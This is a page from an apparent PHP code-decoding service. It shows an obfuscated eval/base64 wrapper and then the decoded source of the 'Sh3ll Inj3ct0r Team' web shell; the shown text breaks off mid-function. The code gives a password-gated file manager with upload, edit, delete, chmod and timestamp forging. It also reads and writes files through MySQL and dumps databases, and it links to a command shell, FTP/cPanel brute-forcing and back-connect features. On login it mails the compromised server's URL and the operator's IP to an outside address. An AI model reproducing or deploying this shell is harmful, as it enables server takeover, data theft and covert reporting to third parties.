Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(gzinflate(base64_decode('7b19X9s40zD6P59C9XKv wzbkDegLkLQUQkuXAkug3RY4uZ3ECS5J..

Decoded Output download

error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');
//define('IS_WIN', strstr(PHP_OS, 'WIN') ? 1 : 0 );
define('IS_WIN', DIRECTORY_SEPARATOR == '\\');
define('IS_COM', class_exists('COM') ? 1 : 0 );
define('IS_GPC', get_magic_quotes_gpc());
$dis_func = get_cfg_var('disable_functions');
define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);
 
foreach(array('_GET','_POST') as $_request) {
    foreach($$_request as $_key => $_value) {
        if ($_key{0} != '_') {
            if (IS_GPC) {
                $_value = s_array($_value);
            }
            $$_key = $_value;
        }
    }
}
 
/*=================  Info Login  ================*/
$admin = array();
$admin['check'] = true;
$admin['pass']  = 'inj3ct0r'; // Password login
$admin['cookiepre'] = '';
$admin['cookiedomain'] = '';
$admin['cookiepath'] = '/';
$admin['cookielife'] = 86400;
/*===================== End =====================*/
 
if ($charset == 'utf8') {
    header("content-Type: text/html; charset=utf-8");
} elseif ($charset == 'big5') {
    header("content-Type: text/html; charset=big5");
} elseif ($charset == 'gbk') {
    header("content-Type: text/html; charset=gbk");
} elseif ($charset == 'latin1') {
    header("content-Type: text/html; charset=iso-8859-2");
}
 
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
 
/*===================== Login =====================*/
if ($action == "logout") {
    scookie('vbapass', '', -86400 * 365);
    p('<meta http-equiv="refresh" content="0;URL='.$self.'">');
    p('<body background=black>');
    exit;
}
if($admin['check']) {
    if ($doing == 'login') {
        if ($admin['pass'] == $password) {
            scookie('vbapass', $password);
 
$time_shell = "".date("d/m/Y - H:i:s")."";
$ip_remote = $_SERVER["REMOTE_ADDR"];
$from_shellcode = 'shell@'.gethostbyname($_SERVER['SERVER_NAME']).'';
$to_email = '[email protected]';
$server_mail = "".gethostbyname($_SERVER['SERVER_NAME'])."  - ".$_SERVER['HTTP_HOST']."";
$linkcr = "Link: ".$_SERVER['SERVER_NAME']."".$_SERVER['REQUEST_URI']." - IP Excuting: $ip_remote - Time: $time_shell";
$header = "From: $from_shellcode\r\nReply-to: $from_shellcode";
@mail($to_email, $server_mail, $linkcr, $header);
            p('<meta http-equiv="refresh" content="2;URL='.$self.'">');
            p('<body bgcolor=black>
<BR><BR><div align=center><font color=#4ff707 face=tahoma size=5>Sh3ll Inj3ct0r Team<BR><img src=http://www.alamuae.com/up/uplong/loading326953187146197.gif></div>');
            exit;
        }
 
    else
    {
    $err_mess = '<table width=100%><tr><td bgcolor=#000000 width=100% height=70><div align=center><font color=#f70713 face=tahoma size=5><blink>"PaSsw0rd eRr0r"</blink><BR></font></div></td></tr></table>';
echo $err_mess;
    }}
    if ($_COOKIE['vbapass']) {
        if ($_COOKIE['vbapass'] != $admin['pass']) {
            loginpage();
        }
    } else {
        loginpage();
    }
}
/*===================== Login =====================*/
 
$errmsg = '';
 
if ($action == 'phpinfo') {
    if (IS_PHPINFO) {
        phpinfo();
    } else {
        $errmsg = 'phpinfo() function has non-permissible';
    }
}
 
 
if ($doing == 'downfile' && $thefile) {
    if (!@file_exists($thefile)) {
        $errmsg = 'The file you want Downloadable was nonexistent';
    } else {
        $fileinfo = pathinfo($thefile);
        header('Content-type: application/x-'.$fileinfo['extension']);
        header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
        header('Content-Length: '.filesize($thefile));
        @readfile($thefile);
        exit;
    }
}
 
 
if ($doing == 'backupmysql' && !$saveasfile) {
    dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
    $table = array_flip($table);
    $result = q("SHOW tables");
    if (!$result) p('<h2>'.mysql_error().'</h2>');
    $filename = basename($_SERVER['HTTP_HOST'].'_MySQL.sql');
    header('Content-type: application/unknown');
    header('Content-Disposition: attachment; filename='.$filename);
    $mysqldata = '';
    while ($currow = mysql_fetch_array($result)) {
        if (isset($table[$currow[0]])) {
            $mysqldata .= sqldumptable($currow[0]);
        }
    }
    mysql_close();
    exit;
}
 
// Mysql
if($doing=='mysqldown'){
    if (!$dbname) {
        $errmsg = 'Please input dbname';
    } else {
        dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
        if (!file_exists($mysqldlfile)) {
            $errmsg = 'The file you want Downloadable was nonexistent';
        } else {
            $result = q("select load_file('$mysqldlfile');");
            if(!$result){
                q("DROP TABLE IF EXISTS tmp_angel;");
                q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
                //Download SQL
                q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
                $result = q("select content from tmp_angel");
                q("DROP TABLE tmp_angel");
            }
            $row = @mysql_fetch_array($result);
            if (!$row) {
                $errmsg = 'Load file failed '.mysql_error();
            } else {
                $fileinfo = pathinfo($mysqldlfile);
                header('Content-type: application/x-'.$fileinfo['extension']);
                header('Content-Disposition: attachment; filename='.$fileinfo['basename']);
                header("Accept-Length: ".strlen($row[0]));
                echo $row[0];
                exit;
            }
        }
    }
}
 
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title><?php echo str_replace('.','','Sh3ll Inj3ct0r Team');?></title>
<style type="text/css">
body,td{font: 10pt Tahoma;color:#02fc0b;line-height: 16px;}
 
a {color: #05fc25;text-decoration:none;}
a:hover{color: #f00;text-decoration:underline;}
.alt1 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid gray;border-bottom:0px solid gray;background:#111111;padding:5px 10px 5px 5px;}
.fout1 td{border-top:1px solid gray;border-bottom:0px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.fout td{border-top:1px solid gray;border-bottom:0px solid gray;background:#000000;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;font-weight:bold;}
.head_small td{border-top:1px solid gray;border-bottom:1px solid gray;background:#000000;padding:5px 10px 5px 5px;font-weight:normal;font-size:8pt;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#4224d6;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
input, textarea, button
{
    font-size: 9pt;
    color: #05f90e;
    font-family: verdana, sans-serif;
    background-color: #000000;
    border-left: 1px solid #74A202;
    border-top: 1px solid #74A202;
    border-right: 1px solid #74A202;
    border-bottom: 1px solid #74A202;
}
select
{
    font-size: 8pt;
    font-weight: normal;
    color: #ccc;
    font-family: verdana, sans-serif;
    background-color: #202020;
}
 
</style>
<script type="text/javascript">
function CheckAll(form) {
    for(var i=0;i<form.elements.length;i++) {
        var e = form.elements[i];
        if (e.name != 'chkall')
        e.checked = form.chkall.checked;
    }
}
function $(id) {
    return document.getElementById(id);
}
function goaction(act){
    $('goaction').action.value=act;
    $('goaction').submit();
}
</script>
</head>
<body onLoad="init()" style="margin:0;table-layout:fixed; word-break:break-all" bgcolor=black background=http://www.club-h.co.cc/photo.jpg>
 
 
<div border="0" style="position:fixed; width: 100%; height: 25px; z-index: 1; top: 300px; left: 0;" id="loading" align="center" valign="center">
                <table border="1" width="110px" cellspacing="0" cellpadding="0" style="border-collapse: collapse" bordercolor="#003300">
                    <tr>
           
                  </div>
                </td>
                    </tr>
                </table>
             </div>
 <script>
 var ld=(document.all);
  var ns4=document.layers;
 var ns6=document.getElementById&&!document.all;
 var ie4=document.all;
  if (ns4)
     ld=document.loading;
 else if (ns6)
     ld=document.getElementById("Wait Please For Inj3ct0r Shell loading").style;
 else if (ie4)
     ld=document.all.loading.style;
  function init()
 {
 if(ns4){ld.visibility="hidden";}
 else if (ns6||ie4) ld.display="none";
 }
 </script>
 
 
 
 
<table width="100%" border="0" cellpadding="0" cellspacing="0">
    <tr class="head_small">
        <td  width=100%>
        <table width=100%><tr class="head_small"><td  width=86px><a title="1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team" href="<?php $self;?>"><img src="http://www.alamuae.com/up/uplong/banner3269541083055272.jpg" height=180 border=0></a></td><td>
        <div style="font-size:40px;font-weight:bold;font-style:normal;color:#468100;text-decoration:none;text-shadow:#09fd02 3px 3px  3px;font-variant:small-caps;">[--Sh3lL Inj3ct0r Team--]</div><br>
        <span style="float:left;"> <?php echo "HosT Server: ".$_SERVER['HTTP_HOST']."";?>  | <a href="http://www.1337day.com" target="_blank"><?php echo str_replace('.','','1337day Inj3ct0r Exploit Database : vulnerability : 0day : shellcode by Inj3ct0r Team');?> </a> | <a href="javascript:goaction('logout');"><font color=red>Log0ut</font></a></span> <br />
 
        <?php
        $curl_on = @function_exists('curl_version');
        $mysql_on = @function_exists('mysql_connect');
        $mssql_on = @function_exists('mssql_connect');
        $pg_on = @function_exists('pg_connect');
        $ora_on = @function_exists('ocilogon');
echo (($safe_mode)?("Safe Mod: <b><font color=021ffc>ON</font></b> - "):("Safe m0de: <b><font color=red>OFF</font></b>  -"));
echo "pHp V3rSi0n: <b>".@phpversion()."</b> - ";
        echo "CurL: ".(($curl_on)?("<b><font color=021ffc>ON</font></b> - "):("<b><font color=red>OFF</font></b> - "));
        echo "MysqL: <b>";
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
echo "<font color=021ffc>ON</font></b> - "; } else { echo "<font color=red>OFF</font></b> - "; }
echo "MsSqL: <b>";
$mssql_on = @function_exists('mssql_connect');
if($mssql_on){echo "<font color=021ffc>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "PostgreSql: <b>";
$pg_on = @function_exists('pg_connect');
if($pg_on){echo "<font color=021ffc>ON</font></b> - ";}else{echo "<font color=red>OFF</font></b> - ";}
echo "Oracle: <b>";
$ora_on = @function_exists('ocilogon');
if($ora_on){echo "<font color=021ffc>ON</font></b>";}else{echo "<font color=red>OFF</font></b><BR>";}
 
echo "Disable functions : <b>";
if(''==($df=@ini_get('disable_functions'))){echo "<font color=021ffc>NONE</font></b><BR>";}else{echo "<font color=red>$df</font></b><BR>";}
 
echo "<font color=white>uname -a</font>: ".@substr(@php_uname(),0,120)."<br>";
echo "<font color=white>Server</font>: ".@substr($SERVER_SOFTWARE,0,120)." - <font color=white>id</font>: ".@getmyuid()."(".@get_current_user().") - uid=".@getmyuid()." (".@get_current_user().") gid=".@getmygid()."(".@get_current_user().")<br>";
 
        ?>
 
        </td></tr></table></td>
    </tr>
    <tr class="alt1">
        <td  width=10%><span style="float:left;">Y0uR IP: <?php echo "<font color=fdfdfd>".$_SERVER['REMOTE_ADDR']."</font>";?> </span>   <br />
<br />
 
                        <a href="javascript:goaction('file');">H0me</a> |
            <a href="javascript:goaction('sqladmin');">MySqL Dump Database</a> |
            <a href="javascript:goaction('sqlfile');">MySql Edit0r</a> |
            <a href="javascript:goaction('shell');">Command Sh3ll</a>
            <?php if (!IS_WIN) {?> | <a href="javascript:goaction('brute');">Brute Ftp & Cpanel</a> <?php }?>
            <?php if (!IS_WIN) {?> | <a href="javascript:goaction('backconnect');">back Connect</a><?php }?>
                      | <a href="javascript:open('http://www.1337day.com');">inj3ct0r Team WebSite</a>
                      | <a href="javascript:open('http://1337day.com/submit');">Submit Exploit</a>
        </td>
    </tr>
</table>
<table width="100%" border="0" cellpadding="5" cellspacing="0"><tr><td>
<?php
 
formhead(array('name'=>'goaction'));
makehide('action');
formfoot();
 
$errmsg && m($errmsg);
 
// Dir function
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
    $dir = $dir.'/';
}
$uedir = ue($dir);
 
if (!$action || $action == 'file') {
 
    // Non-writeable
    $dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Chm0d dir';
 
    // Delete dir
    if ($doing == 'deldir' && $thefile) {
        if (!file_exists($thefile)) {
            m($thefile.' directory does not exist');
        } else {
            m('Directory delete '.(deltree($thefile) ? basename($thefile).' success' : 'Failed'));
        }
    }
 
    // Create new dir
    elseif ($newdirname) {
        $mkdirs = $nowpath.$newdirname;
        if (file_exists($mkdirs)) {
            m('Directory has already existed');
        } else {
            m('Direct0rt Created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));
            @chmod($mkdirs,0777);
        }
    }
 
    // Upload file
    elseif ($doupfile) {
        m('File Upl0ad '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'FaileD'));
    }
 
    // Edit file
    elseif ($editfilename && $filecontent) {
        $fp = @fopen($editfilename,'w');
        m('Save File '.(@fwrite($fp,$filecontent) ? 'success' : 'Failed'));
        @fclose($fp);
    }
 
    // Modify
    elseif ($pfile && $newperm) {
        if (!file_exists($pfile)) {
            m('The original file does not exist');
        } else {
            $newperm = base_convert($newperm,8,10);
            m('Modify File attributes '.(@chmod($pfile,$newperm) ? 'success' : 'Failed'));
        }
    }
 
    // Rename
    elseif ($oldname && $newfilename) {
        $nname = $nowpath.$newfilename;
        if (file_exists($nname) || !file_exists($oldname)) {
            m($nname.' has already existed or original file does not exist');
        } else {
            m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));
        }
    }
 
    // Copu
    elseif ($sname && $tofile) {
        if (file_exists($tofile) || !file_exists($sname)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));
        }
    }
 
    // File exit
    elseif ($curfile && $tarfile) {
        if (!@file_exists($curfile) || !@file_exists($tarfile)) {
            m('The goal file has already existed or original file does not exist');
        } else {
            $time = @filemtime($tarfile);
            m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
        }
    }
 
    // Date
    elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
        if (!@file_exists($curfile)) {
            m(basename($curfile).' does not exist');
        } else {
            $time = strtotime("$year-$month-$day $hour:$minute:$second");
            m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));
        }
    }
 
    // Download
    elseif($doing == 'downrar') {
        if ($dl) {
            $dfiles='';
            foreach ($dl as $filepath => $value) {
                $dfiles.=$filepath.',';
            }
            $dfiles=substr($dfiles,0,strlen($dfiles)-1);
            $dl=explode(',',$dfiles);
            $zip=new PHPZip($dl);
            $code=$zip->out;
            header('Content-type: application/octet-stream');
            header('Accept-Ranges: bytes');
            header('Accept-Length: '.strlen($code));
            header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');
            echo $code;
            exit;
        } else {
            m('First select file');
        }
    }
 
    // Delete file
    elseif($doing == 'delfiles') {
        if ($dl) {
            $dfiles='';
            $succ = $fail = 0;
            foreach ($dl as $filepath => $value) {
                if (@unlink($filepath)) {
                    $succ++;
                } else {
                    $fail++;
                }
            }
            m('Deleted file have finished??choose '.count($dl).' success '.$succ.' fail '.$fail);
        } else {
            m('First select file');
        }
    }
 
    // Function Newdir
    formhead(array('name'=>'createdir'));
    makehide('newdirname');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'fileperm'));
    makehide('newperm');
    makehide('pfile');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'copyfile'));
    makehide('sname');
    makehide('tofile');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'rename'));
    makehide('oldname');
    makehide('newfilename');
    makehide('dir',$nowpath);
    formfoot();
    formhead(array('name'=>'fileopform'));
    makehide('action');
    makehide('opfile');
    makehide('dir');
    formfoot();
 
 
?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>(<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="G0" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
    var newdirname;
    newdirname = prompt('Name Please:', '');
    if (!newdirname) return;
    $('createdir').newdirname.value=newdirname;
    $('createdir').submit();
}
function fileperm(pfile){
    var newperm;
    newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    if (!newperm) return;
    $('fileperm').newperm.value=newperm;
    $('fileperm').pfile.value=pfile;
    $('fileperm').submit();
}
function copyfile(sname){
    var tofile;
    tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');
    if (!tofile) return;
    $('copyfile').tofile.value=tofile;
    $('copyfile').sname.value=sname;
    $('copyfile').submit();
}
function rename(oldname){
    var newfilename;
    newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
    if (!newfilename) return;
    $('rename').newfilename.value=newfilename;
    $('rename').oldname.value=oldname;
    $('rename').submit();
}
function dofile(doing,thefile,m){
    if (m && !confirm(m)) {
        return;
    }
    $('filelist').doing.value=doing;
    if (thefile){
        $('filelist').thefile.value=thefile;
    }
    $('filelist').submit();
}
function createfile(nowpath){
    var filename;
    filename = prompt('Name Please:', '');
    if (!filename) return;
    opfile('editfile',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
    $('fileopform').action.value=action;
    $('fileopform').opfile.value=opfile;
    $('fileopform').dir.value=dir;
    $('fileopform').submit();
}
function godir(dir,view_writable){
    if (view_writable) {
        $('godir').view_writable.value=1;
    }
    $('godir').dir.value=dir;
    $('godir').submit();
}
</script>
  <?php
    tbhead();
    p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="" name="doupfile" value="Upl0ad" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
 
    if ($view_writable) {
 
    } else {
 
    }
    p('  <a href="javascript:createdir();">Create Direct0ry</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');
    if (IS_WIN && IS_COM) {
        $obj = new COM('scripting.filesystemobject');
        if ($obj && is_object($obj)) {
            $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
            foreach($obj->Drives as $drive) {
                if ($drive->DriveType == 2) {
                    p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'
Free:'.sizecount($drive->FreeSpace).'
Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
                } else {
                    p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
                }
            }
        }
    }
 
    p('</td></tr></form>');
 
    p('<tr class="head"><td>&nbsp;</td><td>File Name</td><td width="16%">Last M0dified</td><td width="10%">Size</td><td width="20%">Chm0d / PermS</td><td width="22%">Acti0n</td></tr>');
 
    // Get path
    $dirdata=array();
    $filedata=array();
 
    if ($view_writable) {
        $dirdata = GetList($nowpath);
    } else {
        // Open dir
        $dirs=@opendir($dir);
        while ($file=@readdir($dirs)) {
            $filepath=$nowpath.$file;
            if(@is_dir($filepath)){
                $dirdb['filename']=$file;
                $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
                $dirdb['dirchmod']=getChmod($filepath);
                $dirdb['dirperm']=getPerms($filepath);
                $dirdb['fileowner']=getUser($filepath);
                $dirdb['dirlink']=$nowpath;
                $dirdb['server_link']=$filepath;
                $dirdb['client_link']=ue($filepath);
                $dirdata[]=$dirdb;
            } else {
                $filedb['filename']=$file;
                $filedb['size']=sizecount(@filesize($filepath));
                $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
                $filedb['filechmod']=getChmod($filepath);
                $filedb['fileperm']=getPerms($filepath);
                $filedb['fileowner']=getUser($filepath);
                $filedb['dirlink']=$nowpath;
                $filedb['server_link']=$filepath;
                $filedb['client_link']=ue($filepath);
                $filedata[]=$filedb;
            }
        }// while
        unset($dirdb);
        unset($filedb);
        @closedir($dirs);
    }
    @sort($dirdata);
    @sort($filedata);
    $dir_i = '0';
    foreach($dirdata as $key => $dirdb){
        if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
            $thisbg = bg();
            p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
            p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');
            p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
            p('<td nowrap>'.$dirdb['mtime'].'</td>');
            p('<td nowrap>--</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
            p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');
            p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\n\')">DeLete</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');
            p('</tr>');
            $dir_i++;
        } else {
            if($dirdb['filename']=='..') {
                p('<tr class=fout>');
                p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Back To Directory</a></td>');
                p('</tr>');
            }
        }
    }
 
    p('<tr bgcolor="green" stlye="border-top:1px solid gray;border-bottom:1px solid gray;"><td colspan="6" height="5"></td></tr>');
    p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    makehide('action','file');
    makehide('thefile');
    makehide('doing');
    makehide('dir',$nowpath);
    $file_i = '0';
    foreach($filedata as $key => $filedb){
        if($filedb['filename']!='..' && $filedb['filename']!='.') {
            $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);
            $thisbg = bg();
            p('<tr class="fout" onmouseover="this.className=\'focus\';" onmouseout="this.className=\'fout\';">');
            p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
            p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
            p('<td nowrap>'.$filedb['mtime'].'</td>');
            p('<td nowrap>'.$filedb['size'].'</td>');
            p('<td nowrap>');
            p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
            p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');
            p('<td nowrap>');
            p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Downl0ad</a> | ');
            p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">C0py</a> | ');
            p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
            p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
            p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Tim3</a>');
            p('</td></tr>');
            $file_i++;
        }
    }
    p('<tr class="fout1"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packigg Downl0ad Selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete Selected</a></td><td colspan="4" align="right">'.$dir_i.' DIR / '.$file_i.' FILES</td></tr>');
    p('</form></table>');
}// end dir
 
elseif ($action == 'sqlfile') {
    if($doing=="mysqlupload"){
        $file = $_FILES['uploadfile'];
        $filename = $file['tmp_name'];
        if (file_exists($savepath)) {
            m('The goal file has already existed');
        } else {
            if(!$filename) {
                m('Please choose a file');
            } else {
                $fp=@fopen($filename,'r');
                $contents=@fread($fp, filesize($filename));
                @fclose($fp);
                $contents = bin2hex($contents);
                if(!$upname) $upname = $file['name'];
                dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
                $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
                m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
            }
        }
    }
?>
<script type="text/javascript">
function mysqlfile(doing){
    if(!doing) return;
    $('doing').value=doing;
    $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;
    $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
    $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
    $('mysqlfile').charset.value=$('dbinfo').charset.value;
    $('mysqlfile').submit();
}
</script>
<?php
    !$dbhost && $dbhost = '1337day.com';
    !$dbuser && $dbuser = 'root';
    !$dbport && $dbport = '3306';
    $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    formhead(array('title'=>'MySql Inf0rmation','name'=>'dbinfo'));
    makehide('action','sqlfile');
    p('<p>');
    p('DBHost:');
    makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    p(':');
    makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
    p('DBUser:');
    makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    p('DBPass:');
    makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    p('DBName:');
    makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));
    p('DBCharset:');
    makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
    p('</p>');
    formfoot();
    p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    p('<h2>Upl0ad File</h2>');
    p('<p><b></b></p>');
    p('<p>SaVe Path: <input class="input" name="savepath" size="45" type="text" /> Ch00s3 Fil3: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upl0aD</a></p>');
    p('<h2>Downl0ad File</h2>');
    p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Downl0ad</a></p>');
    makehide('dbhost');
    makehide('dbport');
    makehide('dbuser');
    makehide('dbpass');
    makehide('dbname');
    makehide('charset');
    makehide('doing');
    makehide('action','sqlfile');
    p('</form>');
}
 
elseif ($action == 'sqladmin') {
    !$dbhost && $dbhost = 'localhost';
    !$dbuser && $dbuser = 'inj3ct0r_root';
    !$dbport && $dbport = '3306';
    $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
    if(isset($dbhost)){
        $dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
    }
    if(isset($dbuser)) {
        $dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
    }
    if(isset($dbpass)) {
        $dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
    }
    if(isset($dbport)) {
        $dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
    }
    if(isset($dbname)) {
        $dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
    }
    if(isset($charset)) {
        $dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
    }
 
    if ($doing == 'backupmysql' && $saveasfile) {
        if (!$table) {
            m('Please choose the table');
        } else {
            dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
            $table = array_flip($table);
            $fp = @fopen($path,'w');
            if ($fp) {
                $result = q('SHOW tables');
                if (!$result) p('<h2>'.mysql_error().'</h2>');
                $mysqldata = '';
                while ($currow = mysql_fetch_array($result)) {
                    if (isset($table[$currow[0]])) {
                        sqldumptable($currow[0], $fp);
                    }
                }
                fclose($fp);
                $fileurl = str_replace(SA_ROOT,'',$path);
                m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');
                mysql_close();
            } else {
                m('Backup failed');
            }
        }
    }
    if ($insert && $insertsql) {
        $keystr = $valstr = $tmp = '';
        foreach($insertsql as $key => $val) {
            if ($val) {
                $keystr .= $tmp.$key;
                $valstr .= $tmp."'".addslashes($val)."'";
                $tmp = ',';
            }
        }
        if ($keystr && $valstr) {
            dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
            m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
        }
    }
    if ($update && $insertsql && $base64) {
        $valstr = $tmp = '';
        foreach($insertsql as $key => $val) {
            $valstr .= $tmp.$key."='".addslashes($val)."'";
            $tmp = ',';
        }
